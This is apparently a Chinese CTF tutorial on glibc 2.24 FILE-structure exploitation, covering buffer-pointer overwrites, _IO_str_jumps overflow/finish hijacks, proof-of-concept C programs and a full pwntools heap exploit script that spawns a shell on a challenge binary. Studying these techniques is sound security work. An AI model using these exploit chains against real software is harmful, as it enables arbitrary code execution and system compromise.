glibc 2.24 下 IO_FILE 的利用

文章目录

  • glibc 2.24 下 IO_FILE 的利用
    • 介绍:
    • 新的利用技术
      • fileno 与缓冲区的相关利用
      • 实例:
      • 1. _IO_str_jumps -> overflow
        • 实例:
      • 2. _IO_str_jumps -> finish
        • 实例:
    • 最后拓展一下上一篇博客house of orange题目的做法:

glibc 2.24 下 IO_FILE 的利用

介绍:

  1. 在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

    image-20240821142640099

    /* Check if unknown vtable pointers are permitted; otherwise,terminate the process.  */
    void _IO_vtable_check (void) attribute_hidden;/* Perform vtable pointer validation.  If validation fails, terminatethe process.  */
    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {/* Fast path: The vtable pointer is within the __libc_IO_vtablessection.  */uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;const char *ptr = (const char *) vtable;uintptr_t offset = ptr - __start___libc_IO_vtables;if (__glibc_unlikely (offset >= section_length)) // 超出范围/* The vtable pointer is not in the expected section.  Use theslow path, which will terminate the process if necessary.  */_IO_vtable_check ();return vtable;
    }void attribute_hidden
    _IO_vtable_check (void)
    {
    #ifdef SHARED/* Honor the compatibility flag.  */void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
    #ifdef PTR_DEMANGLEPTR_DEMANGLE (flag);
    #endifif (flag == &_IO_vtable_check)return;/* In case this libc copy is in a non-default namespace, we alwaysneed to accept foreign vtables because there is always apossibility that FILE * objects are passed across the linkingboundary.  */{Dl_info di;struct link_map *l;if (!rtld_active ()|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0&& l->l_ns != LM_ID_BASE))return;}#else /* !SHARED *//* We cannot perform vtable validation in the static dlopen casebecause FILE * handles might be passed back and forth across theboundary.  Therefore, we disable checking in this case.  */if (__dlopen != NULL)return;
    #endif__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
    }
    

    如果 vtable 是非法的,那么会引发 abort。

    这里的检查使得以往使用 vtable 进行利用的技术很难实现。

新的利用技术

fileno 与缓冲区的相关利用

  1. 在 vtable 难以被利用之后,利用的关注点从 vtable 转移到_IO_FILE 结构内部的域中。 前面介绍过 _IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如 fwrite、fread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。

    struct _IO_FILE {int _flags;       /* High-order word is _IO_MAGIC; rest is flags. *//* The following pointers correspond to the C++ streambuf protocol. *//* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr;   /* Current read pointer */char* _IO_read_end;   /* End of get area. */char* _IO_read_base;  /* Start of putback+get area. */char* _IO_write_base; /* Start of put area. */char* _IO_write_ptr;  /* Current put pointer. */char* _IO_write_end;  /* End of put area. */char* _IO_buf_base;   /* Start of reserve area. */char* _IO_buf_end;    /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base;  /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;int _flags2;_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    };
    

    因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。

    在 _ IO_FILE 中**_ IO_buf_base 表示操作的起始地址**,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。

实例:

  1. 简单的观察一下_IO_FILE 对于调用 scanf 的作用:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(void)
    {char stack_buf[100];scanf("%s",stack_buf);scanf("%s",stack_buf);return 0;	
    }
    

    在执行程序第一次使用 stdin 之前,stdin 的内容还未初始化是空的:

    image-20240821144311169

    调用 scanf 之后可以看到**_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end** 等域都被初始化,但是**_IO_2_1_stdout_还未初始化**,因为没有调用有关输出的函数:

    image-20240821144420361

    进一步观察,可以发现其实 stdin 初始化的内存是在堆上分配出来的,在这里堆的基址是 0x405000,因为之前没有堆分配因此缓冲区的地址也是 0x405010

    image-20240821144642284

    我这里使用的是glibc2.27,前面有一个tcache,所以起始地址是0x405260,大小为0x400:

    image-20240821144737899

    image-20240821145315162

    接下来我们尝试修改_IO_buf_base 来实现任意地址读写,全局缓冲区 buf 的地址是 0x7ffff7bec880。修改_IO_buf_base 和_IO_buf_end 到缓冲区 buf 的地址:

    image-20240821145742308

    image-20240821150103576

    之后 scanf 的读入数据就会写入到 0x7ffff7bec880 的位置,同时也可以看到**_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end** 值也根据_IO_buf_base 的值而有所修改:

    image-20240821150204103

1. _IO_str_jumps -> overflow

  1. libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。

image-20240821195445832

  1. 如果我们能设置文件指针的 vtable_IO_str_jumps 那么就能调用不一样的文件操作函数。这里以_IO_str_overflow为例子:

    int
    _IO_str_overflow (_IO_FILE *fp, int c)
    {int flush_only = c == EOF;_IO_size_t pos;if (fp->_flags & _IO_NO_WRITES)return flush_only ? 0 : EOF;if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)){fp->_flags |= _IO_CURRENTLY_PUTTING;fp->_IO_write_ptr = fp->_IO_read_ptr;fp->_IO_read_ptr = fp->_IO_read_end;}pos = fp->_IO_write_ptr - fp->_IO_write_base;if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)){if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */return EOF;else{char *new_buf;char *old_buf = fp->_IO_buf_base;size_t old_blen = _IO_blen (fp);_IO_size_t new_size = 2 * old_blen + 100;if (new_size < old_blen)return EOF;new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //劫持程序的流程if (new_buf == NULL){/*	  __ferror(fp) = 1; */return EOF;}if (old_buf){memcpy (new_buf, old_buf, old_blen);(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);/* Make sure _IO_setb won't try to delete _IO_buf_base. */fp->_IO_buf_base = NULL;}memset (new_buf + old_blen, '\0', new_size - old_blen);_IO_setb (fp, new_buf, new_buf + new_size, 1);fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);fp->_IO_write_base = new_buf;fp->_IO_write_end = fp->_IO_buf_end;}}if (!flush_only)*fp->_IO_write_ptr++ = (unsigned char) c;if (fp->_IO_write_ptr > fp->_IO_read_end)fp->_IO_read_end = fp->_IO_write_ptr;return c;
    }
    

    利用以下代码来劫持程序流程:

    	  new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
    

    需要满足一下条件,来绕过判断 ,是程序来到该位置:

    • fp->_flags & _IO_NO_WRITES 为假
    • (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_ IO_buf_end - fp->_IO_buf_base) + flush_only(1)) 为真
    • fp->_flags & _IO_USER_BUF 为假
    • (fp->_ IO_buf_end - fp->_IO_buf_base) + 100 不能为负数

    下面的条件来getshell

    • new_size = 2 * (fp->_ IO_buf_end - fp->_IO_buf_base) + 100; 应当等于 /bin/sh字符串 对应的地址
    • fp+0xf0指向system地址

    看一下_IO_strfile这个结构体,其中又涉及到_IO_str_fields和_IO_streambuf两个结构体,就能明白为什么system的地址要填在fp+0xe0

    image-20240821153756495

    将**_IO_2_1_stdin_强制转化为_IO_strfile_类型后输出,观察_allocate_buffer偏移**情况(因为最后函数是通过 _allocate_buffer来调用的):

    image-20240821154952691

    最后构造:

    _flags = 0
    _IO_write_base = 0
    _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
    _IO_buf_end = (binsh_in_libc_addr -100) / 2 //_freeres_list = 0x2
    //_freeres_buf = 0x3
    _mode = -1vtable = _IO_str_overflow - 0x18 = _IO_str_jumps
    fp+0xf0 -> system_addr
    
实例:
  1. 修改了 how2heap 的 houseoforange 代码,来自己动手调试一下。

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int winner ( char *ptr);
    int main()
    {char *p1, *p2;size_t io_list_all, *top;// unsorted bin attackp1 = malloc(0x400-16);top = (size_t *) ( (char *) p1 + 0x400 - 16);top[1] = 0xc01;p2 = malloc(0x1000);io_list_all = top[2] + 0x9a8;top[3] = io_list_all - 0x10;// _IO_str_overflow conditionschar binsh_in_libc[] = "/bin/sh"; // we can found "/bin/sh" in libc, here i create it in stack// top[0] = ~1;// top[0] &= ~8;top[0] = 0;top[4] = 0; // write_basetop[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptrtop[7] = 0; // buf_basetop[8] = top[5] - 1; // buf_end// house_of_orange conditionstop[1] = 0x61;//top[20] = (size_t) &top[18];top[21] = 2;top[22] = 3;top[24] = -1;top[27] = (size_t)stdin - 0x1140; // _IO_str_jumps地址top[28] = (size_t) &winner;/* Finally, trigger the whole chain by calling malloc */malloc(10);return 0;
    }
    int winner(char *ptr)
    { system(ptr);return 0;
    }
    

    伪造的file如下:

    image-20240821163936329

    查看相应的结构体如下:

    image-20240821170117124

    最后申请malloc,mian_arena_88+0x68处的_chain成功衔接到fake_file:

    image-20240821164638732

    最后,进入到**IO_flush_all_lockp**函数来刷新所有文件,后面成功调用到 ** IO_str_overflow函数**(如果没有用_IO_str_jumps地址来覆盖vtable的话,该位置应该调用的是 _IO_file_overflow函数),传入的参数是fake_chunk的地址:

    image-20240821175402369

    进入到_IO_str_overflow函数后,成功绕过检查,调用到winner,传入的参数是**/bin/sh字符串的地址**:

    image-20240821170338895

    image-20240821175626428

    最后成功get shell:

    image-20240821173941797

  2. 总结:

    • 区别于直接覆盖vtable到伪造的地址,用IO_str_jumps的地址来覆盖能够通过_IO_vtable_check检查:

    • 伪造的FILE满足的条件除了:(fp-> _ mode <= 0 && fp->_ IO_write_ptr > fp->_ IO_write_base)(使得能调用到IO_str_overflow函数)

      其次还要满足:

      • fp->_flags & _IO_NO_WRITES 为假
      • (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_ IO_buf_end - fp->_IO_buf_base) + flush_only(1)) 为真
      • fp->_flags & _IO_USER_BUF 为假
      • (fp->_ IO_buf_end - fp->_IO_buf_base) + 100 不能为负数

      最后才能控制程序的执行流程,下面的条件来getshell

      • new_size = 2 * (fp->_ IO_buf_end - fp->_IO_buf_base) + 100; 应当等于 /bin/sh字符串 对应的地址
      • fp+0xf0指向system地址

2. _IO_str_jumps -> finish

  1. 原理与上面的 _IO_str_jumps -> overflow 类似:

    void _IO_str_finish(_IO_FILE *fp, int dummy)
    {if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))(((_IO_strfile *)fp)->_s._free_buffer)(fp->_IO_buf_base); // 挟持程序的执行流程fp->_IO_buf_base = NULL;_IO_default_finish(fp, 0);
    }
    

    需要的条件:

    • fp->_IO_buf_base 不能为空
    • fp->_flags & _IO_USER_BUF 要为假

    构造如下:

    _flags = (binsh_in_libc + 0x10) & ~1
    _IO_buf_base = bin_sh_addr_freeres_list = 0x2
    _freeres_buf = 0x3
    _mode = -1
    vtable = _IO_str_finish - 0x18 = _IO_str_jumps - 0x8
    fp+0xe8 -> system_addr
    
实例:
  1. 1:修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int winner ( char *ptr);
    int main()
    {char *p1, *p2;size_t io_list_all, *top;// unsorted bin attackp1 = malloc(0x400-16);top = (size_t *) ( (char *) p1 + 0x400 - 16);top[1] = 0xc01;p2 = malloc(0x1000);io_list_all = top[2] + 0x9a8;top[3] = io_list_all - 0x10;// _IO_str_overflow conditionschar binsh_in_libc[] = "/bin/sh"; // we can found "/bin/sh" in libc, here i create it in stack// top[0] = ~1;// top[0] &= ~8;top[0] = 0;top[4] = 0; // write_basetop[5] = 1; // write_ptrtop[7] = (size_t)&binsh_in_libc; // buf_basetop[8] = 0; // buf_end// house_of_orange conditionstop[1] = 0x61;//top[20] = (size_t) &top[18];top[21] = 2;top[22] = 3;top[24] = -1;top[27] = (size_t)stdin - 0x1160 -8; // _IO_str_jumps地址top[29] = (size_t) &winner;/* Finally, trigger the whole chain by calling malloc */malloc(10);return 0;
    }
    int winner(char *ptr)
    { system(ptr);return 0;
    }
    
  2. 调试如下:

    伪造的fake_chunk:

    image-20240821201805048

    成功调用到**_IO_str_finish函数**:

    image-20240821201837406

    成功绕过检查,调用到winner函数:

    image-20240821202149017

    成功get shell:

    image-20240821202224930

最后拓展一下上一篇博客house of orange题目的做法:

文章:House of Orange-CSDN博客

  1. EXP,分别使用上面两钟方法:

    from pwn import *
    import numpy as np
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')def debug():gdb.attach(p)# p = remote("node4.anna.nssctf.cn",28353)
    # libc = ELF('./libc.so.6')
    p = process("./pwn") 
    libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    # elf = ELF("./pwn")def add(size,name):p.sendlineafter(b':',b'1')p.sendlineafter(b'it',str(size).encode())p.sendafter(b"?",name)def edit(content):p.sendlineafter(b':',b'2')p.sendlineafter(b"it",str(len(content)).encode())p.sendafter(b"name",content)def show():p.sendlineafter(b':',b'3')# 回收heap地址
    heap_addr = eval(p.recv(14).decode())-0x10
    success("heap_addr ==> " + hex(heap_addr))# 泄漏libc地址
    add(0x10,b"lzl")
    payload = p64(0)*3 + p64(0xfc1)
    edit(payload)
    add(0x1000,b"lzl")add(0x10,b"a"*8)
    show()
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = (addr-(main_arena_offset+0x58)-0x610)
    success("libc_addr==>"+hex(libc_base))IO_list_all_addr   = libc_base + libc.symbols["_IO_list_all"]
    _IO_str_jumps_addr = IO_list_all_addr - 0x1D80
    system_addr        = libc_base + libc.sym["system"]
    sh_addr            = libc_base + next(libc.search(b"/bin/sh"))success("_IO_str_jumps_addr ==> " + hex(_IO_str_jumps_addr))
    success("IO_list_all_addr   ==> " + hex(IO_list_all_addr))
    success("system_addr        ==> " + hex(system_addr))
    success("sh_addr            ==> " + hex(sh_addr))# ============= 法一 =============
    # # unsorted bin attack 覆盖IO_list_all指针
    # # 构造IO_file 覆盖vtable -> 堆上地址,最后调用_IO_new_file_overflow函数get shell
    # payload = p64(0)*2
    # # file头
    # payload+= b"/bin/sh\x00" + p64(0x60)
    # # unsorted bin attack
    # payload+= p64(0) + p64(IO_list_all_addr-0x10)
    # # _IO_write_ptr > _IO_write_base
    # payload+= p64(0) + p64(1)
    # payload = payload.ljust(0xe8,b"\x00")
    # payload+= p64(heap_addr + 0x140) + p64(0)*3 + p64(system_addr)# # ============= 法二 =============
    # # unsorted bin attack 覆盖IO_list_all指针
    # # 构造IO_file 覆盖vtable -> _IO_str_jumps ,最后调用__GI__IO_str_overflow函数get shell
    # payload = p64(0)*2
    # # file头 flag   _IO_read_ptr
    # payload+= p64(0) + p64(0x60)
    # # unsorted bin attack
    # payload+= p64(0) + p64(IO_list_all_addr-0x10)# #  _IO_write_base < _IO_write_ptr && 
    # payload+= p64(0) + p64(int((sh_addr-100)/2 + 4))
    # # _IO_buf_end
    # payload+= p64(0)*2 + p64(int((sh_addr-100)/2 + 3))# payload = payload.ljust(0xe8,b"\x00")
    # # vtable->_IO_str_jumps   _allocate_buffer->system_addr
    # payload+= p64(_IO_str_jumps_addr) + p64(system_addr)# ============= 法三 =============
    # unsorted bin attack 覆盖IO_list_all指针
    # 构造IO_file 覆盖vtable -> _IO_str_jumps ,最后调用__GI__IO_str_overflow函数get shell
    payload = p64(0)*2
    # file头 flag   _IO_read_ptr
    payload+= p64(0) + p64(0x60)
    # unsorted bin attack
    payload+= p64(0) + p64(IO_list_all_addr-0x10)#  _IO_write_base < _IO_write_ptr && 
    payload+= p64(0) + p64(1)
    # _IO_buf_end
    payload+= p64(0) + p64(sh_addr)payload = payload.ljust(0xe8,b"\x00")
    # vtable->_IO_str_jumps   _allocate_buffer->system_addr
    payload+= p64(_IO_str_jumps_addr - 0x8) + p64(0) + p64(system_addr)
    edit(payload)p.sendlineafter(b':',b'1')
    p.sendlineafter(b'it',str(0x10).encode())
    p.sendline(b"cat flag")
    p.interactive()
    

    关键部分,伪造的fake_chunk:

    法二,这里要注意,由于 字符串"/bin/sh"的地址是一个奇数,所以使用完整的"/bin/sh"不可行,会导致参数传递不完整,只能使用字符串"sh"的地址

    image-20240821215916641

    image-20240821220227269

    image-20240821215215843

    法三:

    image-20240821215354675

    都是能打通的:

    image-20240821214612285

    image-20240821214727566

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/405788.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Oracle基本SQL操作-用户角色权限管理

一、用户权限管理 -- 创建锁定用户&#xff0c;此时用户不可用 create USER zhucl IDENTIFIED BY 123456 account lock; 会提示用户被锁定&#xff1a; -- 删除用户 drop user zhucl;-- 重新创建用户&#xff0c;不锁定 create user zhucl IDENTIFIED BY 123456 account unlo…

嵌入式和单片机有什么区别?

目录 &#xff08;1&#xff09;什么是嵌入式&#xff1f; &#xff08;2&#xff09;什么是单片机&#xff1f; &#xff08;3&#xff09;嵌入式和单片机的共同点 &#xff08;4&#xff09;嵌入式和单片机的区别 &#xff08;1&#xff09;什么是嵌入式&#xff1f; 关…

45.x86游戏实战-XXX封包组包拼包详解

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 工具下载&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1rEEJnt85npn7N38Ai0_F2Q?pwd6tw3 提…

提车后遇大降价被指“背刺”车主,方程豹的口碑问题何解?

进入8月下旬&#xff0c;汽车市场“金九银十”的销售旺季即将到来&#xff0c;将行业“内卷”推向新高峰。即便有宝马等高端豪华品牌退出“价格战”的先例&#xff0c;但为刺激销量&#xff0c;不少车企依旧推出了各式各样的价格优惠政策&#xff0c;行业内部价格竞争狼烟四起。…

Kotlin 流flow、ShareFlow、StateFlow、Channel的解释与使用

一、介绍 随着Android接入kotlin开发&#xff0c;Android之前好多模式也渐渐被kotlin替代。开发模式也在做渐进的转型&#xff0c;从MVC到MVP在到MVVP以及现在的MVI等。 流IO在java中和kotlin中使用率都是比较高的&#xff0c;场景很多。如Java的IO和NIO&#xff0c;再到我们现…

Java、python、php版的高校失物招领平台(源码、调试、LW、开题、PPT)

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人 八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题可以一起交流&…

kali网络代理设置

首先主机必须有自己的代理。记住主机的ip和代理端口。 在kali中打开终端&#xff1a; vim /etc/proxychains4.conf输入代理进行更改 把这行注释掉&#xff0c;在下一行输入 socks5 主机ip 代理端口 点击esc&#xff0c;在:wq退出保存。 配置完成。

Salesforce 发布开源大模型 xGen-MM

xGen-MM 论文 在当今 AI 技术飞速发展的时代&#xff0c;一个新的多模态 AI 模型悄然崛起&#xff0c;引起了业界的广泛关注。这个由 Salesforce 推出的开源模型—— xGen-MM&#xff0c;正以其惊人的全能特性和独特优势&#xff0c;在 AI 领域掀起一阵旋风。那么&#xff0c;x…

Why Does ChatGPT Fall Short in Providing Truthful Answers?

文章目录 题目摘要简介相关工作模型和数据集结果事实性背后的能力提高 QA 的事实性结论 题目 为什么 ChatGPT 无法提供真实的答案&#xff1f; 论文地址:https://arxiv.org/abs/2304.10513 摘要 ChatGPT 等大型语言模型的最新进展已显示出影响人类生活各个方面的巨大潜力。然而…

数据库学习(进阶)

数据库学习&#xff08;进阶&#xff09; Mysql结构:连接层&#xff1a;服务层&#xff08;核心层&#xff09;&#xff1a;存储引擎层&#xff1a;系统文件层&#xff1a; 存储引擎&#xff08;概述&#xff09;:存储引擎特点&#xff1a;InnoDB存储引擎&#xff1a;(为并发条…

【C++ 面试 - 面向对象】每日 3 题(二)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…

C语言钥匙迷宫2.0

目录 开头程序程序的流程图程序游玩的效果结尾 开头 大家好&#xff0c;我叫这是我58。废话不多说&#xff0c;咱们直接开始。 程序 #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> #include <string.h> #include <Windows.h> enum color {Y,B,R …

裸金属服务器和裸金属云服务器:区别、优势与选择

首先&#xff0c;必须肯定的是&#xff1a;裸金属服务器和裸金属云服务器是有区别的。 ‌ 二者的概述 裸金属服务器&#xff08;‌Bare Metal Server&#xff09;‌是一种物理服务器&#xff0c;‌它直接在硬件上运行&#xff0c;‌没有额外的虚拟化层。‌这意味着每个应用程…

ChatGLM-4-9b-chat本地化|天翼云GPU上vLLM本地部署开源模型完整攻略

“ 拥有一个私有化的领先国产开源大模型&#xff1f;本文详细介绍了如何在天翼云GPU上使用vLLM部署ChatGLM-4-9b-chat本地化模型的完整攻略&#xff0c;助您快速上手。” 01 — vLLM 本来打算用ollama在GPU服务器上部署开源模型GLM4&#xff0c;在之前文章有部署教程&#xff1…

刷题篇 - 03

题目一&#xff1a; 203. 移除链表元素 - 力扣&#xff08;LeetCode&#xff09; public ListNode removeElements(ListNode head, int val) {//1. 如果链表为null&#xff0c;直接返回headif (head null) {return head;}//2. 定义快慢指针ListNode pre head;ListNode del …

Tomcat:Web 领域的闪耀明珠,魅力何在?

一、Web技术 HTTP 协议&#xff08;HyperText Transfer Protocol&#xff0c;超文本传输协议&#xff09;是互联网上应用最为广泛的一种网络协议。它的主要作用是在客户端和服务器之间传输超文本数据&#xff0c;如网页、图片、视频等。 HTTP 协议的特点 无状态性 HTTP 协议是…

STM32H7双路CAN踩坑记录

STM32H7双路CAN踩坑记录 目录 STM32H7双路CAN踩坑记录1 问题描述2 原因分析3 解决办法4 CAN配置参考代码 1 问题描述 STM32的CAN1和CAN2无法同时使用。 注&#xff1a;MCU使用的是STM32H743&#xff0c;其他型号不确定是否一样&#xff0c;本文只以STM32H743举例说明。 2 原因…

了解同步带选择同步带

同步带和轮选型 同步带传动属于皮带传动&#xff0c;但是改进了传统皮带传动无法保持严格的传动比的打滑问题&#xff0c;传统皮带传动依靠皮带和皮带轮张紧时产生的摩擦力传输动力&#xff0c;但是从动轮遇到障碍或超载荷时&#xff0c;皮带会在皮带轮产生滑动。 解决打滑问题…

项目1 物流仓库管理系统

一、项目概述 本项目旨在开发一个功能全面的物流仓库管理系统&#xff0c;以数字化手段优化仓库作业流程&#xff0c;提高管理效率。系统集成了前端用户交互界面与后端数据处理逻辑&#xff0c;涵盖了从用户注册登录、订单管理、货单跟踪到用户信息维护等多个核心业务模块。通…